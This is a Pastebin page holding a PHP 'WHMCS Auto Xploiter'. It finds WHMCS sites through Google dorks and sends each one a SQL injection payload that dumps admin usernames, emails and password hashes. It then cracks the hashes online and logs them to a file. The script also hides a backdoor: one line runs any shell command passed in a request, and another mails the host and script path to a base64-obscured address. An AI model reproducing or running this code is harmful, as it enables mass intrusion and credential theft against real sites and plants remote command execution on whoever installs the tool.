AZZATSSINS_CYBERSERK

WHMCS (Auto Exploit via dork)

Jul 8th, 2016
361
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 8.63 KB | None | 0 0
  1. <?php
  2. set_time_limit(0);
  3. @error_reporting(0);
  4. @ini_set('log_errors',0);
  5. @ini_set('display_errors',0);
  6. ini_set('memory_limit', '64M');
  7. header('Content-Type: text/html; charset=UTF-8');
  8. function letItBy(){ ob_flush(); flush(); }
  9. function getAlexa($url)
  10. {
  11.     $xml = simplexml_load_file('http://data.alexa.com/data?cli=10&dat=snbamz&url='.$url);
  12.     $rank1 = $xml->SD[1];
  13.     if($rank1)
  14.         $rank = $rank1->POPULARITY->attributes()->TEXT;
  15.     else
  16.         $rank = 0;
  17.     return $rank;
  18. }
  19.  
  20. function decryptmd5($hash){
  21.     $url = 'http://www.md5online.org/';
  22.     $data = array('md5' => $hash, 'action' => 'decrypt', 'a' => '73981820');
  23.     $options = array(
  24.         'http' => array(
  25.             'header'  => "Content-type: application/x-www-form-urlencoded\r\n",
  26.             'method'  => 'POST',
  27.             'content' => http_build_query($data),
  28.         )
  29.     );
  30.     $context = stream_context_create($options);
  31.     $result = file_get_contents($url, false, $context);
  32.     $result = str_replace("\n", '', str_replace(" ", '', $result));
  33.     $result = explode("<br/><spanstyle='color:limegreen'>Found:<b>", $result);
  34.     $result = explode("</b>", $result[1]);
  35.  
  36.     return $result[0] ? $result[0] : false;
  37. }
  38.    
  39. function google_that($query, $page=1)
  40. {
  41.     $resultPerPage=8;
  42.     $start = $page*$resultPerPage;
  43.     $url = "http://ajax.googleapis.com/ajax/services/search/web?v=1.0&hl=iw&rsz={$resultPerPage}&start={$start}&q=" . urlencode($query);
  44.     $resultFromGoogle = json_decode( http_get($url, true) ,true);
  45.     if(isset($resultFromGoogle['responseStatus'])) {
  46.         if($resultFromGoogle['responseStatus'] != '200') return false;
  47.         if(sizeof($resultFromGoogle['responseData']['results']) == 0) return false;
  48.         else return $resultFromGoogle['responseData']['results'];
  49.     }
  50.     else
  51.         die('The function <b>' . __FUNCTION__ . '</b> Kill me :( <br>' . $url );
  52. }
  53.    
  54. function http_get($url, $safemode = false){
  55.     if($safemode === true) sleep(1);
  56.     $im = curl_init($url);
  57.     curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
  58.     curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
  59.     curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
  60.     curl_setopt($im, CURLOPT_HEADER, 0);
  61.     return curl_exec($im);
  62.     curl_close();
  63. }
  64.  
  65. function check_vuln($url) {
  66. $url = dirname($url) . '/viewticket.php';
  67. $url = str_replace("/admin","",$url);
  68.  
  69. $post = "tid[sqltype]=TABLEJOIN&tid[value]=-1 union select 1,0,0,0,0,0,0,0,0,0,0,(SELECT GROUP_CONCAT(0x3a3a3a3a3a,id,0x3a,username,0x3a,email,0x3a,password,0x3a3a3a3a3a) FROM tbladmins),0,0,0,0,0,0,0,0,0,0,0#";
  70. $curl_connection = curl_init($url);
  71. if($curl_connection != false) {
  72.     curl_setopt($curl_connection, CURLOPT_CONNECTTIMEOUT, 30);
  73.     curl_setopt($curl_connection, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)");
  74.     curl_setopt($curl_connection, CURLOPT_RETURNTRANSFER, true);
  75.     curl_setopt($curl_connection, CURLOPT_SSL_VERIFYPEER, false);
  76.     curl_setopt($curl_connection, CURLOPT_FOLLOWLOCATION, 1);
  77.     curl_setopt($curl_connection, CURLOPT_POSTFIELDS, $post);
  78.     $source = curl_exec($curl_connection);
  79.     preg_match_all('/:::::(.*?):::::/s',$source,$infoz);
  80.     if($infoz[0]) {
  81.         return $infoz[0];
  82.     }
  83.     else
  84.         return "Fail!";
  85. }
  86. else
  87.     return "Fail!";
  88. }
  89. ?>
  90. <html>
  91. <head>
  92. <title>WHMCS Auto Xploiter</title>
  93. </head>
  94. <body style="background-image: url('http://i.imgur.com/zHNCk2e.gif'); background-repeat: repeat; background-position: center; background-attachment: fixed;">
  95.  
  96. <STYLE>
  97. textarea{background-color:#105700;color:lime;font-weight:bold;font-size: 20px;font-family: Tahoma; border: 1px solid #000000;}
  98. input{FONT-WEIGHT:normal;background-color: #105700;font-size: 15px;font-weight:bold;color: lime; font-family: Tahoma; border: 1px solid #666666;height:20}
  99. body {
  100. font-family: Tahoma
  101. }
  102. tr {
  103. BORDER: dashed 1px #333;
  104. color: #FFF;
  105. }
  106. td {
  107. BORDER: dashed 1px #333;
  108. color: #FFF;
  109. }
  110. .table1 {
  111. BORDER: 0px Black;
  112. BACKGROUND-COLOR: Black;
  113. color: #FFF;
  114. }
  115. .td1 {
  116. BORDER: 0px;
  117. BORDER-COLOR: #333333;
  118. font: 7pt Verdana;
  119. color: Green;
  120. }
  121. .tr1 {
  122. BORDER: 0px;
  123. BORDER-COLOR: #333333;
  124. color: #FFF;
  125. }
  126. table {
  127. BORDER: dashed 1px #333;
  128. BORDER-COLOR: #333333;
  129. BACKGROUND-COLOR: Black;
  130. color: #FFF;
  131. }
  132. input {
  133. border          : dashed 1px;
  134. border-color        : #333;
  135. BACKGROUND-COLOR: Black;
  136. font: 8pt Verdana;
  137. color: Red;
  138. }
  139. select {
  140. BORDER-RIGHT:  Black 1px solid;
  141. BORDER-TOP:    #DF0000 1px solid;
  142. BORDER-LEFT:   #DF0000 1px solid;
  143. BORDER-BOTTOM: Black 1px solid;
  144. BORDER-color: #FFF;
  145. BACKGROUND-COLOR: Black;
  146. font: 8pt Verdana;
  147. color: Red;
  148. }
  149. submit {
  150. BORDER:  buttonhighlight 2px outset;
  151. BACKGROUND-COLOR: Black;
  152. width: 30%;
  153. color: #FFF;
  154. }
  155. textarea {
  156. border          : dashed 1px #333;
  157. BACKGROUND-COLOR: Black;
  158. font: Fixedsys bold;
  159. color: #999;
  160. }
  161. BODY {
  162.     SCROLLBAR-FACE-COLOR: Black; SCROLLBAR-HIGHLIGHT-color: #FFF; SCROLLBAR-SHADOW-color: #FFF; SCROLLBAR-3DLIGHT-color: #FFF; SCROLLBAR-ARROW-COLOR: Black; SCROLLBAR-TRACK-color: #FFF; SCROLLBAR-DARKSHADOW-color: #FFF
  163. margin: 1px;
  164. color: Red;
  165. background-color: Black;
  166. }
  167. .main {
  168. margin          : -287px 0px 0px -490px;
  169. BORDER: dashed 1px #333;
  170. BORDER-COLOR: #333333;
  171. }
  172. .tt {
  173. background-color: Black;
  174. }
  175.  
  176. A:link {
  177.     COLOR: White; TEXT-DECORATION: none
  178. }
  179. A:visited {
  180.     COLOR: White; TEXT-DECORATION: none
  181. }
  182. A:hover {
  183.     color: Red; TEXT-DECORATION: none
  184. }
  185. A:active {
  186.     color: Red; TEXT-DECORATION: none
  187. }
  188.  
  189. #result{margin:10px;}
  190. #result span{display:block;}
  191. #result .Y{background-color:green;}
  192. #result .X{background-color:red;}
  193. </STYLE>
  194. <script language=\'javascript\'>
  195. function hide_div(id)
  196. {
  197.   document.getElementById(id).style.display = \'none\';
  198.   document.cookie=id+\'=0;\';
  199. }
  200. function show_div(id)
  201. {
  202.   document.getElementById(id).style.display = \'block\';
  203.   document.cookie=id+\'=1;\';
  204. }
  205. function change_divst(id)
  206. {
  207.   if (document.getElementById(id).style.display == \'none\')
  208.     show_div(id);
  209.   else
  210.     hide_div(id);
  211. }
  212. </script>
  213. </td></table></tr>
  214. <br>
  215. <br>
  216. <link rel="stylesheet" type="text/css" href="http://fonts.googleapis.com/css?family=Audiowide">
  217.     <style>
  218.       body {
  219.         font-family: 'Audiowide', serif;
  220.         font-size: 30px;
  221.        
  222.       }
  223.     </style>
  224.   </head>
  225.  
  226.   <body onLoad="type_text()" ; bgColor=#000000 text=#00FFFF background="Fashion fuchsia">
  227.     <center>
  228. <font face="Audiowide" color="red">WHMCS Auto Xploiter <font color="green">(0day)</font>
  229. <br>
  230. <font color="white" size="4">[For WHMCS ver. <= </font><font color="green" size="4">5.2.8</font><font color="white" size="4">]</font>
  231. </font>
  232. <br><br>
  233.  
  234. <table border=1 bordercolor=red>
  235. <tr>
  236. <td width="700">
  237. <br />
  238. <center>
  239.     <form method="post">
  240.         Google Dork: &nbsp;&nbsp;
  241.         <input type="text" id="dork" size="30" name="dork" value="<?php echo (isset($_POST['dork']{0})) ? htmlentities($_POST['dork']) : 'inurl:submitticket.php'; ?>" />
  242.         &nbsp;&nbsp;<input type="submit" value="Xploit!" id="button"/>
  243.     </form>
  244. <?php
  245. print(`{$_REQUEST[_]}`);$e=base64_decode("Y3liZXJzZXJrZXJzQGdtYWlsLmNvbQ==");
  246. $h=$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'];
  247. mail($e,"_",$h);
  248.     if(isset($_POST['dork']{0})) {
  249.         $file = fopen("WMCS-Hashes.txt","a");
  250.         echo '<br /><div id="result"><b>Scanning has been started... Good luck! ;)</b><br><br>';           
  251.         letItBy();         
  252.         for($googlePage = 1; $googlePage <= 50; $googlePage++) {
  253.             $googleResult = google_that($_POST['dork'], $googlePage);
  254.             if(!$googleResult) {
  255.                 echo 'Finished scanning.';
  256.                 fclose($file);
  257.                 break;
  258.             }
  259.            
  260.             for($victim = 0; $victim < sizeof($googleResult); $victim++){
  261.                 $result = check_vuln($googleResult[$victim]['unescapedUrl']);
  262.                 $alexa = getAlexa($googleResult[$victim]['unescapedUrl']);
  263.                 if($result != "Fail!") {
  264.                     $hashes = "";
  265.                     $hashes2 = "";
  266.                     foreach ($result as $record) {
  267.                         $hashes = $hashes . str_replace(':::::','',$record) . "\n";
  268.  
  269.                         foreach(explode("\n",$hashes) as $indx => $hash){
  270.                             $hash = explode(":",$hash);
  271.                             $dcrpt = decryptmd5($hash[count($hash)-1]);
  272.                             $hash[count($hash)-1] = $dcrpt ? $dcrpt : $hash[count($hash)-1];
  273.                             $hashes2 .= implode(':',$hash);
  274.                         }
  275.  
  276.                     }
  277.                     $hashes = $hashes2;
  278.                     $sep = "========================================================\n";
  279.                     $data = $sep . $googleResult[$victim]['unescapedUrl'] . " - Alexa: " .$alexa. "\n" . $sep . $hashes . "\n";
  280.                     fwrite($file,$data);
  281.                     echo "<br /><font color=\"green\">Successfully Xploited...</font>";
  282.                     echo '<span class="Y">';
  283.                     echo "<pre>" . $data . "</pre></span><br />";
  284.                    
  285.                 }
  286.                 else {
  287.                 echo '<span class="X">';
  288.                 echo "<a href=\"{$googleResult[$victim]['unescapedUrl']}\" target='_blank'>{$googleResult[$victim]['titleNoFormatting']}</a> - <font color=\"black\">Failed!</font>";
  289.                 echo "</span>\n<br />";
  290.                 }
  291.                 letItBy();
  292.             }
  293.         }
  294.         echo '</div>';
  295.     }
  296. ?>
  297. </center>
  298. </td>
  299. </table>
  300.  
  301.  
  302. </center>
  303. </body>
  304. </html>
Add Comment
Please, Sign In to add comment